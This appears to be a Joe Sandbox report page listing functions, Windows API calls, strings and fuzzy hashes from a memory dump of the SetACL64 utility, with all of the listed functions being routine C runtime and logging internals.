Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: DefaultUser$LocaleNametry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 1828775994-151340334
Opcode ID: 57af316dea5b7e61cb562d8c11244f2537ddf137142906e3d23b94016c7f79ba
Instruction ID: edaab89b8e1d54f2bf0d7111704106c3286351ea5a666a274e763ba5ce51cc1f
Opcode Fuzzy Hash: 57af316dea5b7e61cb562d8c11244f2537ddf137142906e3d23b94016c7f79ba
Instruction Fuzzy Hash: B9F05E50F0894292EB55EF57B5916F89361AF4C7A0FC49035D90D07A97CFBC98898361

Function 00007FF7C17422FC Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7C1742310

Part of subcall function 00007FF7C17424C8: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7C17424EA

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7C1742325
__scrt_release_startup_lock.LIBCMT ref: 00007FF7C1742393
__scrt_is_managed_app.LIBCMT ref: 00007FF7C174240A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 1321466686-0
Opcode ID: 5f4e593a57be2922c770aa4019cdb3a40b36742acc247e4d38195dbb756052e0
Instruction ID: 79b4dc62a7f7f7314968b508b68f13b425b281d7f5ae80bbd9ee7cba72664c74
Opcode Fuzzy Hash: 5f4e593a57be2922c770aa4019cdb3a40b36742acc247e4d38195dbb756052e0
Instruction Fuzzy Hash: 16312931A0860741FB54BF27A4553BDE3A0AF4D7A4FC44035EA4D076E7DEADE8188A71

Function 00007FF7C174B6DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 173COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174B714
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174B94A

Strings

*, xrefs: 00007FF7C174B823

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: fa66ef4454720253ae4a1324ed2750e09e57d66344b9118c59c944b74fb7378b
Instruction ID: 63ec8852420c5f142cbff73d3cc76e35147c7597ff9be25ffa40b62356200c5d
Opcode Fuzzy Hash: fa66ef4454720253ae4a1324ed2750e09e57d66344b9118c59c944b74fb7378b
Instruction Fuzzy Hash: A371BC76948212CAF768FF2A805417CB7A4EB0DB24F941135EA4A43296DFB8EC41DF60

Function 00007FF7C1701080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00007FF7C1701086
GetLastError.KERNEL32 ref: 00007FF7C1701098

Strings

tss, xrefs: 00007FF7C17010CE

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocErrorLast
String ID: tss
API String ID: 4252645092-1638339373
Opcode ID: cd5b0d93fa60f5d47108ff5205c10caaa5c25c736dacc53fbb88ac9913f15d10
Instruction ID: a437e884cd3b6906bf2eb92525be561199a43dd96f68cdb7ed3772c85e25f88a
Opcode Fuzzy Hash: cd5b0d93fa60f5d47108ff5205c10caaa5c25c736dacc53fbb88ac9913f15d10
Instruction Fuzzy Hash: 93014F31E4964782EB10BF36A884078A3A0BF9D374FD00631D65D827E6DFACD5558B20

Function 00007FF7C1759DFC Relevance: 4.6, APIs: 3, Instructions: 84COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1759E19

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7ee9a919a73c7ad7693c046b3e9b085255df4470bb1e97c6a93af5c9eaf83ccb
Instruction ID: 7ae05e16ff28f1a7c32a972365dba21a9590ea2966c38d7b6b707dca90ec1407
Opcode Fuzzy Hash: 7ee9a919a73c7ad7693c046b3e9b085255df4470bb1e97c6a93af5c9eaf83ccb
Instruction Fuzzy Hash: C3317C32E0CA8289FB607F1694102BAA194AF5DBB0F944131EA6D066D7CEBCE4415B20

Function 00007FF7C171DB9A Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

ERROR,, xrefs: 00007FF7C171DBA0
%s, xrefs: 00007FF7C171DC4B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$ERROR,
API String ID: 3988221542-2486372128
Opcode ID: fb135519248cd7f04a09e43bd04ed0a4edcf3838c157fd2ce0e7584ffd020449
Instruction ID: b4721f46d184218e9503a37eed21f357cb2438b1e8e365182179608edb50a7ee
Opcode Fuzzy Hash: fb135519248cd7f04a09e43bd04ed0a4edcf3838c157fd2ce0e7584ffd020449
Instruction Fuzzy Hash: 7E219D61A08A8284FF14EF17D54C3B9A762AB49BA4FD25435CA0D066E7DFECD444C360

Function 00007FF7C171DBB8 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

CRTCL,, xrefs: 00007FF7C171DBBE
%s, xrefs: 00007FF7C171DC4B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$CRTCL,
API String ID: 3988221542-3126492506
Opcode ID: 984058a0684c820fee82438c3696b1bf70c79d27525573db99da59e1e00725f3
Instruction ID: 228450d306aac999e74229b2dc48d41d79cfdc1e1e1a31bb5d5e2fc8ce1aa360
Opcode Fuzzy Hash: 984058a0684c820fee82438c3696b1bf70c79d27525573db99da59e1e00725f3
Instruction Fuzzy Hash: 43219D61A08A8284EF14EF17D54C3B9A762AB49BA4FD25435CA0D066E7DFECD444C360

Function 00007FF7C171DB7C Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

WARN ,, xrefs: 00007FF7C171DB82
%s, xrefs: 00007FF7C171DC4B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$WARN ,
API String ID: 3988221542-3785767073
Opcode ID: 8215001489b263a33ae11ef63e8d66250099090301e5055772b76e4d05ae3108
Instruction ID: 81db650cce96e30ffddd3710b6291357cbcc35ffdd2882e3f1b672cf2b7b50b9
Opcode Fuzzy Hash: 8215001489b263a33ae11ef63e8d66250099090301e5055772b76e4d05ae3108
Instruction Fuzzy Hash: 0F219D61A08A8284EF14EF57D54C3B9A762AB49BA4FD25435CA0D066E7EFECD444C360

Function 00007FF7C171DBD6 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

NONE ,, xrefs: 00007FF7C171DBD6
%s, xrefs: 00007FF7C171DC4B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$NONE ,
API String ID: 3988221542-1825952341
Opcode ID: 4f68964d466b64e016808783c6b282a6dc1bb05c72728e6bf54c9f41982cb742
Instruction ID: d1144c11e0ce29cb90262dcb4cf4abff0b97fe317c2c22bf67a1cb50678f163d
Opcode Fuzzy Hash: 4f68964d466b64e016808783c6b282a6dc1bb05c72728e6bf54c9f41982cb742
Instruction Fuzzy Hash: CB219D61A0868284EF14EF17D54C3B9A762AB49BA4FD25431CA0D066E7EFECD444C360

Function 00007FF7C171DB6A Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

%s, xrefs: 00007FF7C171DC4B
DEBUG,, xrefs: 00007FF7C171DB6A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$DEBUG,
API String ID: 3988221542-4222748730
Opcode ID: 5578c2daa3c5bd8fe1d9a90197abb313d44aa39db796cfcd1e657dbf23e1760e
Instruction ID: fafa2f05d2ace5064420f4de22cdb0615c5cf6e39a802da7015be500252d9f54
Opcode Fuzzy Hash: 5578c2daa3c5bd8fe1d9a90197abb313d44aa39db796cfcd1e657dbf23e1760e
Instruction Fuzzy Hash: 55219D61A0868284EF15EF17D54C3B9A762AB49BA4FD25431CA0D066E7EFECD444C360

Function 00007FF7C171DB73 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171DCBF

Strings

%s, xrefs: 00007FF7C171DC4B
INFO ,, xrefs: 00007FF7C171DB73

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: %s$INFO ,
API String ID: 3988221542-2224252516
Opcode ID: a4deadb17dcfd970735e71189be630700e0c81ec6e5d9d4b59823830e63e97e8
Instruction ID: d3fe4062dc854d14f23944379e65fb928a522f077371a9ab48faf6590bdd7322
Opcode Fuzzy Hash: a4deadb17dcfd970735e71189be630700e0c81ec6e5d9d4b59823830e63e97e8
Instruction Fuzzy Hash: A3219D61A0868284EF14EF17D54C3B9A762AB49BA4FD25431CA0D066E7EFECD444C360

Function 00007FF7C174E568 Relevance: 4.5, APIs: 3, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1753FE0: GetLastError.KERNEL32(?,?,000083BA01AAD97A,00007FF7C174E201,?,?,?,?,00007FF7C175BCFA,?,?,00000000,00007FF7C175D70B,?,?,?), ref: 00007FF7C1753FEF
Part of subcall function 00007FF7C1753FE0: SetLastError.KERNEL32(?,?,000083BA01AAD97A,00007FF7C174E201,?,?,?,?,00007FF7C175BCFA,?,?,00000000,00007FF7C175D70B,?,?,?), ref: 00007FF7C175408D

CloseHandle.KERNEL32(?,?,00000000,00007FF7C174E709,?,?,?,?,00007FF7C171EA35), ref: 00007FF7C174E5A3
FreeLibraryAndExitThread.KERNELBASE(?,?,00000000,00007FF7C174E709,?,?,?,?,00007FF7C171EA35), ref: 00007FF7C174E5B9

Part of subcall function 00007FF7C1758230: try_get_function.LIBVCRUNTIME ref: 00007FF7C175824E

ExitThread.KERNEL32 ref: 00007FF7C174E5C2

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrarytry_get_function
String ID:
API String ID: 1393601959-0
Opcode ID: 1314125dbc08a1527b8b45cc3709738042c2a60f08861b77101480d1199f923b
Instruction ID: 4af79ae36e2d8b7acac073c358fd5429f56f9a370f75f87e5a73e67f33ea0cf1
Opcode Fuzzy Hash: 1314125dbc08a1527b8b45cc3709738042c2a60f08861b77101480d1199f923b
Instruction Fuzzy Hash: F8F04421B08A4642EB147F22845417CE7649F49B74FA84735D63C022D6FFBCD45583B0

Function 00007FF7C17530B0 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7C17530AF), ref: 00007FF7C17530D9
TerminateProcess.KERNEL32(?,?,?,00007FF7C17530AF), ref: 00007FF7C17530E4
ExitProcess.KERNEL32 ref: 00007FF7C17530F3

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cc89c5ebab4446ecbbafaabbd929ad7d895e51dc1ae703ba52595f57cde5059a
Instruction ID: 7fee82db3e1f6777f624650ec458a9ff62394c2764442af9c27a26cb482abcec
Opcode Fuzzy Hash: cc89c5ebab4446ecbbafaabbd929ad7d895e51dc1ae703ba52595f57cde5059a
Instruction Fuzzy Hash: A3E04F20B18B0982EB14BF3798A527D6292AF8D721F408538C80E03373CDBEE4498320

Function 00007FF7C171E8C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171EA10

Strings

StartLoggerThreadProc: arg0==NULL, xrefs: 00007FF7C171EA3C

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: StartLoggerThreadProc: arg0==NULL
API String ID: 3668304517-2114133805
Opcode ID: 701121a5653b672ea9e41aef133949d4364fef49f6e0b0740102384dee600f90
Instruction ID: 4bb5c715dd298b27ff2217d8de8872b62e7bde72550a01cceba44ff7e38e57aa
Opcode Fuzzy Hash: 701121a5653b672ea9e41aef133949d4364fef49f6e0b0740102384dee600f90
Instruction Fuzzy Hash: 3E415C7271468681EF45AF2AD48836DA362EF88B98FD14036DA4D07A6ADFACD4908350

Function 00007FF7C1757BC0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C1757BE3

Strings

AppPolicyGetThreadInitializationType, xrefs: 00007FF7C1757BDC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: try_get_function
String ID: AppPolicyGetThreadInitializationType
API String ID: 2742660187-3350320272
Opcode ID: e941d50e62de51ed76b533e4f2f07d996791261573e730f1a39f5aef81969e66
Instruction ID: bace5d640c15720a3fa5d02e36ff48fb20608cd74a556d4921be23626f82ea21
Opcode Fuzzy Hash: e941d50e62de51ed76b533e4f2f07d996791261573e730f1a39f5aef81969e66
Instruction Fuzzy Hash: 7CE04F51E0990691FB06AF93A8101B092119F0C370EC89336D93C0A3E29FBC99D9C7A0

Function 00007FF7C17588F8 Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7C1758971
GetFileType.KERNELBASE ref: 00007FF7C1758987

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 41b2a8049982c7b62960df7333a90929865213e4a10fcc4cea85c37fae35e6e2
Instruction ID: 233eaa671624e01a41c89b8e7e366f45671a3bc886ebe47de2c3e3622dee9812
Opcode Fuzzy Hash: 41b2a8049982c7b62960df7333a90929865213e4a10fcc4cea85c37fae35e6e2
Instruction Fuzzy Hash: 7731CA21A18F4682D760AF178564179B660FB497B0FA80339DBAE073E1CF78E471C312

Function 00007FF7C174E500 Relevance: 3.0, APIs: 2, Instructions: 30threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7C174E50E
ExitThread.KERNEL32 ref: 00007FF7C174E516

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 0a4e96a3b88f839fc0d37f454c2d20bdf8464b58d4c268462bd8fbbd0cbad1db
Instruction ID: 8ea9b533cb800909ffebd8f509bff697dd3973e7dfac36933421996400818d68
Opcode Fuzzy Hash: 0a4e96a3b88f839fc0d37f454c2d20bdf8464b58d4c268462bd8fbbd0cbad1db
Instruction Fuzzy Hash: 7FF03015F09A4682EF14BF73981917CE2A09F5DB34F948434D90A433A3EF6C98558720

Function 00007FF7C17535C0 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

TlsFree.KERNELBASE(?,?,?,00007FF7C17533F9,?,?,?,00007FF7C175371D,?,?,?,?,?,?,00007FF7C1752F93), ref: 00007FF7C1753645

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 02647a6482190b5c7ac84f0063ab76dd3e52f7ffb406aea2a6a991e3af237db9
Instruction ID: d65574ae27d0aa832cb872b65c3331c161c3c462e42a0c2a24fb1e475b5d959d
Opcode Fuzzy Hash: 02647a6482190b5c7ac84f0063ab76dd3e52f7ffb406aea2a6a991e3af237db9
Instruction Fuzzy Hash: CC316C22B04F4981AB10AF17E460169A3A0E74CFF4B989636DF6D0BBA5CF7CD4928350

Function 00007FF7C174E218 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174E258

